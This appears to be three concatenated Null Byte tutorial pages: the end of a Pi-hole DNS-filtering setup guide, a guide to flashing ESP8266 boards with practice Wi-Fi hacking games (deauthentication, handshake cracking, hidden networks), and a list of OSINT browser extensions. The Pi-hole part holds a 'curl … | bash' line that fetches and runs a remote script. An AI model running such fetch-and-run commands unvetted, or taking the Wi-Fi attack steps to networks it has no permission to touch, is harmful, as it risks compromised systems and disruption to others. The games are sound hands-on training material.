andEnterto save and close the file. Next, do the same to the "hosts" file.pi@raspberrypi$ sudo nano /etc/hostsWhen you're done, /etc/hosts should look something like the following. You should only have to edit the last line.127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.1.1 Pi-holeStep 8: Set the Pi-Hole as Your DNSWith Pi-hole installed and running, you can open any web browser, navigate to the Pi-hole's admin IP address. It should look something like192.168.1.4/adminand192.168.1.4/admin/index.php?loginwill take you right to the login page. Once there, put in your password and log in.Now, open another tab in your browser and navigate to your router's admin page and log in. For most of you, it should be 192.168.1.1 by default. The default credentials usually areadminfor username and password, but it varies from manufacturer to manufacturer. So if admin doesn't work, a simple Google search for the name of your router and default credentials should give you everything you need.Don't Miss:How to Find Any Router's Web Interface Using ShodanOnce you're logged in to the router, look for the DNS settings. Often, it will be under "Advanced Setup." For me, on a Netgear router, it was under the "Internet" tab. There, you want to designate a specific IP address for the DNS server. I had to click on "Use These DNS Servers." Input the IP address of Pi-hole and leave any others blank. That will ensure all the DNS requests going through the router are redirected to the Pi-hole. Be sure to "Apply" the changes.There is an off-chance that you'll be unable to find any such settings, mainly if you're using the combination modem/routers often provided by ISPs. If you do find yourself in this situation, there's still a solution. Simply proceed to the next step.Otherwise, congratulations! Your Pi-hole is all set up and redirecting DNS traffic from your router. There's no need to go around changing DNS settings on each device because the router will take care of that for you.For extra DNS security, pull up the Pi-hole tab and navigate to "Settings," then "DNS," and scroll to the bottom and look for "Use DNSSEC" and check the box. Doing so will enable DNSSEC, which is used to verify signatures of DNS requests sent to upstream providers. Note that it will only work with certain DNS providers, such as the ones mentioned before (Google, Cloudflare).If you're running a VPN, such as PIA, be sure to check the settings and make sure "DNS leak protection" is disabled or else you won't receive the benefits of the Pi-hole's DNS filtering. The Pi-hole doesn't get a chance to do its thing when DNS queries are sent over a VPN.Step 9: Set the Pi-Hole as DHCP (If Needed)This step is optional if you were able to find DNS settings in your router. However, it is mandatory if you couldn't. Either way, I still recommend doing it.What we're going to do is set the Pi-hole to act as a Dynamic Host Configuration Protocol (DHCP) server. DHCP servers do what you would imagine a router does β€” they handle assigning IP addresses to devices on the network. By having the Pi-hole do it, you can guarantee that all DNS traffic on the network will go through the Pi-hole. Additionally, it will provide significantly more information on the admin page because now the Pi-hole will have access to hostnames and other data.First, open your router tab and look for "LAN Setup" or something similar. There, you should find a setting for the DHCP server. When you do, uncheck the box, or otherwise disable it, and apply the changes. You must do it on the router first, then quickly proceed to the next part of this step. If you don't, if devices attempt to connect while you have no DHCP server, it can cause all sorts of IP problems.With the DHCP server on the router disabled, move over to your Pi-hole tab and go to "Settings" and "DHCP," then check the box beside "DHCP server enabled" and ensure the IP ranges are the same as they were on your router. Then, click "Save" to apply the changes.Now your router is acting as switch and access point, and the Pi-hole is taking care of the actual routing.Step 10: Add Your Own BlacklistsWith the Pi-hole doing its thing, we can turn our attention to improving the blacklist. The blacklist is the list of URLs that the Pi-hole will not resolve. You could have any website on the list, and the Pi-hole will prevent it from appearing on your network.For security and privacy, we want to focus on known malicious URLs, such as phishing sites, spam, and trackers. Luckily, we don't have to come up with these lists ourselves. There are plenty of people who work tirelessly to create lists just like them.Firebog,blocklist, andZeltserall have some great lists that you can sift through to find everything that suits your needs.Wikipediacan also be quite useful when trying to pick a list.When you find a list you like, copy the list's URL and go to the Pi-hole admin page. There, go to "Settings," then "Blocklists." You can paste the link in where it says to "Enter one URL per line," then click "Save," and the Pi-hole will start blocking all the URLs on that list.I only recommend adding one list at a time, as well as taking a day or two between adding new ones. That's because some lists will cause more trouble than others, like lists for porn sites or fake news. The last thing you want is your roommate barging into your room at 2:00 a.m., demanding to know why a particular website isn't loading. If a specific list is becoming annoying, you can easily disable it by clicking on the checkbox beside the list in the "Enabled" column.If you're going to go full-on insane in the membrane with your blocking, theReddit Pi-hole communityhas come up with a list that blocks over 2.5 million URLs. If you're lazy and trust the internet, it can be installed with a simple command run on the Pi-hole terminal.pi@raspberrypi$ curl -sSL https://raw.githubusercontent.com/Kevin-De-Koninck/pi-hole-helpers/master/expand-block-list.sh | bashAlternatively, you can always make your own blocklist or add a single URL from the "Blacklist" tab on the Pi-hole admin page. If you're really clever, you could use thesame tool hackers would use to generate phishing websitesand preemptively block them.Don't Miss:Hw to Easily Generate Hundreds of Phishing DomainsIf you're curious about using wild cards and regex to expand your blacklist, be sure to check out thePi-hole docsandReddit megathread.Step 11: Whitelist Null ByteInevitably, you'll find a website that you like that wound up on your blacklist somehow. There are two ways to fix it. First, you can figure out which blocklist you added that contains that particular URL, then disable the list, as described above.Second, you can whitelist the URL. To whitelist a URL, go to the "Whitelist" tab, type the URL in the bar, and click "Add." It's important to note that the whitelist just means that the website will resolve, so if you're still using a list aimed at ads, it will deprive the site of ad revenue. So if you appreciate the content we provide here at Null Byte, don't use ad-blocking lists when visiting our website.Don't Miss:Flood Your ISP with Random, Noisy Data to Protect Your Privacy on the InternetStep 12: Join the Pi-hole CommunityI've barely scratched the surface on what can be done with a Pi-hole, so if you're interested in it, I highly recommend you join the greater Pi-hole community onDiscourseorReddit. They have some reallygreat projectsto check out.Thanks for reading! If you have any questions, you can ask them here or on Twitter@The_Hoidor@NullByte.Don't Miss:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Hoid/Null ByteRelatedHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPNews:8 Tips for Creating Strong, Unbreakable PasswordsNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:This LastPass Phishing Hack Can Steal All Your Passwordsβ€”Here's How to Prevent ItHow To:Avoid phishing attemptsHow To:5 Ways to Keep Google from Collecting Data on Your Android PhoneHow To:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficHow To:Unblock American Hulu, Netflix, & More on Chromecast in Other CountriesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Open Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Unlock Any Master Lock Combination PadlockNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Secure Your Computer with Norton DNSSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IIForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Create a Bump Key to Open Any DoorNews:Delitos informaticos. Phishing, en 3 minutos.Post Pi Day Coding Project:Let's Uncover the Hidden Words in PiNews:Happy Pi/Half-Tau Day!How To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin TinsNews:Some Little (and very useful) Update NotesNews:Save Big without Skimping
Play Wi-Fi Hacking Games Using Microcontrollers to Practice Wi-Fi Attacks Legally Β« Null Byte :: WonderHowTo
ESP8266-based microcontrollerscan be used to create exciting and legal Wi-Fi hacking games to test your or your friends' Wi-Fi hacking skills.When you first start learninghow to hack Wi-Fi, it can be tempting to use your powers on Wi-Fi networks you don't have permission to use. Needless to say, this can get you into a lot of trouble because Wi-Fi hacking isn't particularly subtle, so it's easy to get caught. To keep you from getting into a predicament, we want to make sure you have access to a couple of fun Wi-Fi hacking games.The games we've created can be used for a CTF (capture-the-flag) game, a hackerspace, or just a group of friends that want to practice their hacking skills. There are actually five different scenarios we'll cover. In order, we'll cover how to use the handshake injector, make a reactive target, create a Wi-Fi access point, generate a hidden network, and play the Chicken Man Game.What You'll NeedAll you need to follow along with this guide is at least one ESP8266-based D1 Mini module. Some of the games below require multiple D1 Minis, so the more, the merrier.IZOKEE ESP8266 ESP-12F D1 Mini (3 Pack)(currently $12.69)IZOKEE ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.79)Organizer ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.69)If you want to play the Chicken Man Game, you'll also need twoRaspberry Pis.CanaKit Raspberry Pi 4 8GB Starter Kit - 8GB RAM(currently $119.99)CanaKit Raspberry Pi 4 4GB Starter PRO Kit - 4GB RAM(currently $99.99)CanaKit Raspberry Pi 4 Starter Kit - 2GB RAM(currently $89.99)Step 1: Find Your Board's Serial PortTo push the code to your D1 Mini, you'll need to know the serial port on your computer that it's connected to, so plug the board in if you haven't already. In Linux, you can try the following command to try and find its port. You can alsogrepit to narrow down your search. Below, you can see that I'm connected to ttyUSB3.~$ dmesg [34156.770688] usb 1-1.2: new full-speed USB device number 16 using ehci-pci [34156.881101] usb 1-1.2: New USB device found, idVendor=1a86, idProduct=7523 [34156.881106] usb 1-1.2: New USB device strings: Mfr=0, Product=2, SerialNumber=0 [34156.881109] usb 1-1.2: Product: USB2.0-Serial [34156.881920] ch341 1-1.2:1.0: ch341-uart converter detected [34156.884053] usb 1-1.2: ch341-uart converter now attached to ttyUSB3In macOS, you can try thels /dev/cu.*command, and in Windows, visit your Device Manager to figure it out. Whichever OS you're using, you need to find the port and be sure that it's the right one. You can usually figure that out by unplugging it and rerunning the search; if it's missing, it's probably it.Step 2: Download the ESPtoolTo push the code to the D1 Mini board, you could useArduino IDE, which we've covered many times before. But since the binary files are precompiled and don't need to be edited, we can just use ESPtool instead as long as Python is installed. If you've followedour other D1 Mini guides, you more than likely already have it. If not, it's easy to install on Linux:~$ sudo apt install esptool [sudo] password for nullbyte: Reading package lists... Done Building dependency tree Reading state information... Done esptool is already the newest version (2.8+dfsg-1). 0 upgraded, 0 newly installed, 0 to remove and 121 not upgraded.You can verify the installation with:~$ esptool esptool.py v2.8 usage: esptool [-h] [--chip {auto,esp8266,esp32}] [--port PORT] [--baud BAUD] [--before {default_reset,no_reset,no_reset_no_sync}] [--after {hard_reset,soft_reset,no_reset}] [--no-stub] [--trace] [--override-vddsdio [{1.8V,1.9V,OFF}]] {load_ram,dump_mem,read_mem,write_mem,write_flash,run,image_info,make_image,elf2image,read_mac,chip_id,flash_id,read_flash_status,write_flash_status,read_flash,verify_flash,erase_flash,erase_region,version} ... esptool.py v2.8 - ESP8266 ROM Bootloader Utility positional arguments: {load_ram,dump_mem,read_mem,write_mem,write_flash,run,image_info,make_image,elf2image,read_mac,chip_id,flash_id,read_flash_status,write_flash_status,read_flash,verify_flash,erase_flash,erase_region,version} Run esptool {command} -h for additional help load_ram Download an image to RAM and execute dump_mem Dump arbitrary memory to disk read_mem Read arbitrary memory location write_mem Read-modify-write to arbitrary memory location write_flash Write a binary blob to flash run Run application code in flash image_info Dump headers from an application image make_image Create an application image from binary files elf2image Create an application image from ELF file read_mac Read MAC address from OTP ROM chip_id Read Chip ID from OTP ROM flash_id Read SPI flash manufacturer and device ID read_flash_status Read SPI flash status register write_flash_status Write SPI flash status register read_flash Read SPI flash content verify_flash Verify a binary blob against flash erase_flash Perform Chip Erase on SPI flash erase_region Erase a region of the flash version Print esptool version optional arguments: -h, --help show this help message and exit --chip {auto,esp8266,esp32}, -c {auto,esp8266,esp32} Target chip type --port PORT, -p PORT Serial port device --baud BAUD, -b BAUD Serial port baud rate used when flashing/reading --before {default_reset,no_reset,no_reset_no_sync} What to do before connecting to the chip --after {hard_reset,soft_reset,no_reset}, -a {hard_reset,soft_reset,no_reset} What to do after esptool.py is finished --no-stub Disable launching the flasher stub, only talk to ROM bootloader. Some features will not be available. --trace, -t Enable trace-level output of esptool.py interactions. --override-vddsdio [{1.8V,1.9V,OFF}] Override ESP32 VDDSDIO internal voltage regulator (use with care)The commands we'll use for each game below follow the same syntax, where "SERIALPORT" is your serial port, and "FILENAME.bin" is the path to the game file. The-pjust means port.~$ esptool.py -p SERIALPORT write_flash -fm dout 0x0000 'FILENAME.bin'Step 3: Install the Game FilesYou can get the games fromKody Kinzie's GitHub page. You can download the ZIP from there, but it's easier just to use thegit clonecommand below.~$ sudo git clone https://github.com/skickar/esp8266games.git Cloning into 'esp8266games'... remote: Enumerating objects: 18, done. remote: Counting objects: 100% (18/18), done. remote: Compressing objects: 100% (16/16), done. remote: Total 18 (delta 7), reused 0 (delta 0), pack-reused 0 Receiving objects: 100% (18/18), 415.48 KiB | 2.75 MiB/s, done. Resolving deltas: 100% (7/7), done.Then, change into that directory so we can begin:~$ cd esp8266games ~/esp8266games$Step 4: Run the Handshake InjectorThe first game to cover is the Handshake Injector. To run it, take the ESPtool command mentioned in Step 2, swap out the port with your port (it's ttyUSB3" for me), and add the path to the HandshakeInjectorD1Mini.bin file. HitEnter, and it should flash the game to your D1 Mini.~/esp8266games$ esptool.py -p /dev/ttyUSB3 write_flash -fm dout 0x0000 '/home/skicka/esp8266games/HandshakeInjectorD1Mini.bin'When it's done, it should immediately begin broadcasting a handshake that we can listen to in aWiresharkcapture, and then we can crack the handshake provided we have the password somewhere in our brute-forcing password list. This is a great way to demonstrate how brute-forcing works, and it only requires a single ESP8266 to practice.Step 5: Run the Reactive TargetThe second thing that we are going to practice is being a client. This means that we don't want to attack an entire network β€” we just want to attack a single device on a network. To set this up, use the ReactiveTargetD1Mini.bin file in the command.~/esp8266games$ esptool.py -p /dev/ttyUSB3 write_flash -fm dout 0x0000 '/home/skicka/esp8266games/ReactiveTargetD1Mini.bin'After it finishes uploading, we'll need a three-color RGB LED β€” or three different colored LEDs (red, green, blue) β€” to indicate the status of this reactive target. Once we have it plugged in, we can determine exactly whether or not we've successfully connected to a Wi-Fi network. If we have, we can see if we are currently being kicked off.Let's say that you have a smartphone and you want to generate a Wi-Fi access point. In this case, it's pre-programmed to one called "Control," and the password is "testytest." As soon as it joins that network, it will turn green, and then it'll turn red any time it is being kicked off the network.If something's wrong and it can't find the access point, it'll turn blue, which means it hasn't been able to successfully connect β€” just to allow you to diagnose when it isn't working, preventing you from having a really frustrating CTF if the device never was able to connect in the first place.Anyway, this should allow you to connect to an existing access point. Maybe an access point on your phone, such as a hotspot you're creating. It'll attack the device that's connected to it and see exactly when you are succeeding.It's a great way to teach people how to attack an individual device on a network without taking out any other devices on the network. You can even use a whole bunch of these to make sure that each person is attacking their own target, which will keep the chaos down if you're doing a larger workshop.Step 6: Run the WiFi Access PointLet's say we want to attack an entire network. We can add the WiFiAccessPoint.bin file to the command, which is a default Arduino script. This will create an access point that the reactive target above will automatically join.Don't Miss:How to Generate Crackable Wi-Fi Handshakes with an ESP8266-Based Test Network~/esp8266games$ esptool.py -p /dev/ttyUSB3 write_flash -fm dout 0x0000 '/home/skicka/Downloads/WiFiAccessPoint.bin'We could use one D1 Mini as the reactive target and this D1 Mini as a simple access point to join. We are now free to attack the client and the access point because we know that this is a dummy access point that we will not get in trouble for attacking. Nobody would be influenced or otherwise negatively impacted by us taking down this network.To practice taking down an entire network, check out the available networks in the area. Hopefully, you'll see the one that our test device would automatically connect to. If you see it, you can expect that your reactive target would be automatically connecting to it.Check out our full guide onusing test networks to generate crackable Wi-Fi handshakes.Step 7: Run the Hidden NetworkNow, let's say we want to do a CTF game where we have a hidden Wi-Fi network. Well, we can do that too using the HiddenNetworkD1Mini.bin file. This is a spin on the access point that we just created where instead of making it visible, the only thing we're really changing is that we can't see it.Don't Miss:There Are Hidden Wi-Fi Networks All Around You β€” These Attacks Will Find Them~/esp8266games$ esptool.py -p /dev/ttyUSB3 write_flash -fm dout 0x0000 '/home/skicka/esp8266games/HiddenNetworkD1Mini.bin'As soon as it's loaded, we shouldn't be able to see this access point anymore. Then, you can try to brute force the AP name. It's a great way to practice tools that will allow us to attack a hidden network. You can see more on creating and finding a hidden network inour full guide.Step 8: Run the Chicken Man GameIf you have two Raspberry Pis, I highly recommend you check out the Chicken Man Game., which is a Wi-Fi hacking CTF that allows you to use a couple of boards to create both a chicken and a chicken man. The "chicken" is a hackable Wi-Fi access point. If you manage to get the password, you'll be able to log in and actually score points.The "chicken man" is a game piece that's constantly joining these networks and generating handshakes for you to capture, and it's keeping score of who is in the lead and making sure that whatever team is winning is getting a nice little light show if have someNeoPixelsset up.To run it, put the ChickenManGame.bin in the command.~/esp8266games$ esptool.py -p /dev/ttyUSB3 write_flash -fm dout 0x0000 '/home/skicka/esp8266games/ChickenManGame.bin'Once it's done loading, you can check to make sure that it's working properly. For example, you can always look at the serial output usingscreenor Arduino IDE to make sure that it is accurately displaying the information you want. In this case, it should depend on whether it's a chicken or a chicken man, either creating an access point or looking for access points.If you want to change the chicken to a chicken man, and have it actually joining the access points and creating the handshakes, then you'll need to make a small change by connecting the D7 pin to ground.Aside from that small change, they're virtually the same. So if you've got three boards lying around, you can make two of them into access points that can be hacked, and the third will go ahead and join them as a chicken man, generating handshakes and keeping track of who is in the lead.For more info on the Chicken Man Game,check out its GitHub.Check Out the Video for More InfoCheck these files out if you're interested in doing an interesting, fun Wi-Fi hacking CTF in your area. It's a great way to get started teaching people about how Wi-Fi is insecure and needs to be fixed without getting in trouble actually breaking into someone else's Wi-Fi yourself.While the D1 Mini might be small, it can be used by the games we've gone over today to practice deauthing an individual device off the network, crack handshakes, or attack a hidden network. That's pretty cool for such a small price. For more information, make sure to watch the Cyber Weapons Lab video above.Get Some ESP8266 Boards:IZOKEE ESP8266 ESP-12F D1 Mini (5 Pack)for $15.79Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshot by Retia/Null ByteRelatedHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Hack Wi-Fi Networks with BettercapAndroid Basics:How to Connect to a Wi-Fi NetworkNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHacking Android:How to Create a Lab for Android Penetration TestingHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How to Hack Wi-Fi:Getting Started with Terms & TechnologiesGoogle Chrome 101:How to Play the Hidden Dinosaur Mini-Game on Your iPhone or Android PhoneHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Recover a Lost WiFi Password from Any DeviceHow To:Hunt Down Wi-Fi Devices with a Directional Antenna
Top 10 Browser Extensions for Hackers & OSINT Researchers Β« Null Byte :: WonderHowTo
While modern browsers are robust and provide a lot of functionality, they can be unlocked to do some pretty spectacular things with browser extensions. For hackers and OSINT researchers, these tools can be used to defeat online tracking, log in to SSH devices, and search the internet for clues during an investigation. These are a list of my top ten favorite browser extensions for hackers β€” and how to use them.What Are Add-Ons?Browser extensions, or add-ons, are programs that expand what a browser can do. The easiest way to think about browser extensions is to picture them as apps for your browser, with specific extensions providing add-on functions that make the browser more useful for a particular use-case. An example is the Grammarly browser extension, which automatically corrects spelling and grammar errors.Aside from correcting spelling, browser extensions can do some pretty incredible things. By taking control of the information a browser is sending while making requests to load websites, you can better maintain your privacy and prevent easy tracking across the sites you visit. You can even get websites to behave differently depending on how you identify your system while requesting webpages, which can be useful for a variety of situations.For OSINT researchers, browser extensions provide a way to dive into the data on the internet to learn more about every clue you find. EXIF extractors let you pull data from any images you find, data-formatting tools allow you to tap into APIs and read the data more efficiently, and there are tools to dig into archived versions of the internet to access historical data that has since been deleted.What You'll NeedTo follow this guide, you'll need to downloadGoogle ChromeorMozilla Firefox. Make sure your version is fully updated, then go to theGoogle Chrome Web Storeor theFirefox Add-onswebpage to locate extensions to add to your browser.I also recommend, as you can see in our video, that you installBuscador OSas a virtual machine since it has all of these browser extensions installed already. Using these extensions in a virtual machine will better isolate yourself from potential identifying information that your primary OS may leave behind.More Info:Use the Buscador OSINT VM for Conducting Online Investigations1. PrivacyBrowsers can leak a lot of personal data, and this is precisely what companies that want to track you across the internet prey on. Advertisers use advanced methods of tracking across the internet that can be difficult for the average user to hide from, making it difficult to take control of the data your browser is giving away.There are a lot of tools out there for maintaining your privacy online, but some of the best come from the Electronic Frontier Foundation. This group has a variety of different projects for hiding from user-tracking systems online, and one of the easiest to use is "Privacy Badger," available for both Mozilla Firefox and Google Chrome. It's free, open source, and helps the average user defeat hidden trackers advertisers use.Install Privacy Badger:Firefox Add-on|Chrome ExtensionAnother strong contender for maintaining privacy online is "Ublock Origin," which aside from blocking advertisers and tracking links, also allows you to see every request that is blocked in a handy filtering mode. While it's easy to disable if needing to load a particular website, the ability to automatically block trackers is a massive step to staying private online.Install Ublock Origin:Firefox Add-on|Chrome ExtensionAbove, you can see a list of every element blocked on foxnews.com. The list is huge! With Ublock's and the EFF's extensions, you can easily pull the plug on the advanced tracking techniques advertisers and other more nefarious groups use to track you online.2. Internet HistoryHave you ever wanted to see a website that's no longer available or needed to view an earlier version of an existing webpage? Doing so can often lead to finding valuable information that was removed or more specifics about the history of a company.One of the most useful extensions for this is "Go Back in Time," which is only available for Google Chrome. On any page, you can right-click to get the option to "Go Back in Time" and select the preferred archive to search, such as the Internet Archive (via the Wayback Machine).Install Go Back in Time:Chrome ExtensionDepending on which archive you choose, you'll have a list of previously recorded states of the webpage you're looking at. In my example, I found a 2001 version of foxnews.com, complete with dated articles about Jeb Bush.Using browser plug-ins to study previous versions of the internet opens up information to discoveries that might not be available anywhere else.3. Device SpoofingTo load webpages, your browser will send information about the device making the request to send you a version of the website you are requesting that is most appropriate for the device you are using. Unfortunately, this can also leak a lot of data about you and uniquely fingerprint your device. To get around this, we can use a user-agent switcher to pretend to be a different device.Aside from the privacy benefits, we can also change the behavior of webpages by pretending to be a specific device. For example, Instagram only allows us to upload photos if it thinks we are a mobile device, meaning we can upload from our computer if we set our user agent to one of a smartphone. To try it out, you can install "User-Agent Switcher" by Linder on Firefox or "User-Agent Switcher and Manager" by Rynu.smith on Chrome.Install User-Agent Switcher:Firefox Add-onInstall User-Agent Switcher and Manager:Chrome ExtensionUser-Agent Switcher and Manager on Chrome.4. Exif DataPhotos contain a lot of information, and the metadata attached can reveal things like where the photo was taken and what type of camera and settings were used. For getting access to the hidden information included in image files, several extensions allow you to discover Exif data with a single click.While many websites strip Exif data out of images that are uploaded, some do not. Below, we can see exactly when this photo was shot, along with the type of camera used and the settings used, to name a few things. Good viewers include "Exif Viewer" by Alan Raskin for Firefox and "EXIF Viewer" by vdsowner for Chrome.Install Exif Viewer:Firefox Add-onInstall EXIF Viewer:Chrome ExtensionMore Info:How to Obtain Valuable Data from Images Using Exif ExtractorsImage metadata viewed with EXIF Viewer in Chrome.5. Site ProfilingIf you're curious about the technology running a website, it's easy to see everything powering the site with the "BuiltWith Technology Profiler." The tool allows us to quickly discover if a web app is a hastily thrown together shell disguising a scam or a well-developed investment from a legitimate business.By clicking on the BuiltWith icon, you can see a pulled-apart version of every service a website is running. In my case, we can see the hosting, e-commerce system, and content delivery networks in place on a scam prom dress website.Install BuiltWith Technology Profiler:Firefox Add-on|Chrome Extension6. Video DownloadingVideo downloaders are useful for preserving forensic evidence you find in the course of an investigation. While many Chrome extensions do not allow you to download from YouTube, many, such as "One-Click Video Downloader," will enable you to download videos from virtually any other source. For those of you intent on downloading YouTube videos, "Flash Video Downloader" for Firefox has no such restrictions on what you can download.After installing either one, you can download videos from any of the auto-detected ones on a webpage you load. It couldn't be any easier.Install Flash Video Downloader:Firefox Add-onInstall One-Click Video Downloader:Chrome ExtensionOne-Click Video Downloader in Chrome.7. Secure ShellsIf you need to log in to a local or remote SSH device, you don't need a terminal to do it! Thanks to the "SSH Agent for Google Chrome" extension, you can log in directly from the browser. If you don't want to log in to your SSH devices with a Google product, you can always give "SSHGate ssh client and terminal emulator" for Firefox a try.Install SSHGate:Firefox Add-onInstall SSH Agent:Chrome ExtensionMore Info:How to Use the Chrome Browser Secure Shell App to SSH into Remote DevicesSSH Agent for Google Chrome.Image by Hoid/Null Byte8. Decoy TrafficIf you want to keep anyone monitoring your network traffic on their toes or make aggregated data about your web traffic less useful, you can use browser extensions like "Chaff" to generate fake network traffic. According to the rules you set, Chaff will go to random websites starting from seeds you define. You can specify other variables to make the traffic look more or less realistic.Install Chaff:Chrome ExtensionDon't Miss:Flood Your ISP with Random, Noisy Data to Protect Your Privacy on the Internet9. Forensic Snapshots of WebsitesIf you need to preserve or share a snapshot of a website, there are many useful tools for doing so. They include options to capture the entire page, a section, or even record a video of going through specific parts of the website.One of my favorites is Nimbus, called "Nimbus Screenshot & Screen Video Recorder" on Chrome and "Nimbus Screen Capture: Screenshot, Edit, Annotate" on Firefox, which allows several different ways to capture a website of interest.Install Nimbus:Firefox Add-on|Chrome Extension10. JSON Data FormattingThere are vast amounts of data available online, and much of this data is accessed through application programming interfaces, better known as APIs. Through API calls, you can do things like query the current location of any bus in most cities and access giant databases to query specific information.APIs provide access to data from cities, governments, and other entities that can be continually updated. A standard format for this data is JSON, which can be challenging to read in a standard text format, as seen below.Because I use a lot of APIs, I use "JSON Viewer Awesome" a lot in Chrome to help organize the data and make it easier to read. For Firefox, "JSONovich" and "JSONView" are great tools for making JSON data more readable.Install JSONovich:Firefox Add-onInstall JSONView:Firefox Add-onInstall JSON Viewer Awesome:Chrome ExtensionJSON Viewer Awesome in Chrome.Extensions Make Browsers More CapableWhile a computer you happen to find yourself on probably won't have your favorite tools, you can usually assume it will have a browser. With all the tools available for Firefox and Chrome to extend the functionality of browsing the web, logging into devices via SSH or securing your online privacy is just a browser plug-in away. While this is just a list of my favorite browser extensions, I highly recommend checking out other tools likeNoScriptandHTTPS Everywherefor keeping your online experience more secure.I hope you enjoyed this guide to using browser extensions to expand what your browser is capable of! If you have any questions or comments about this tutorial on browser add-ons, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:Track Down a Tinder Profile with Location Spoofing on Google ChromeWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null Byte (unless otherwise noted)RelatedHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsHow To:Track Down a Tinder Profile with Location Spoofing on Google ChromeHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Find OSINT Data on License Plate Numbers with SkiptracerFirefox Mobile 101:Add New Functionality to Your Browser with ExtensionsHow To:Use Desktop Chrome Extensions on AndroidHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Apps & Extensions You Should Be Using Right Now in ChromeHow To:The Easy Way to Get Your Chrome Desktop Tabs in Your iPhone's Safari BrowserHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Download and install the Firesheep Mozilla Firefox browser extensionHow To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:Disable WPAD on 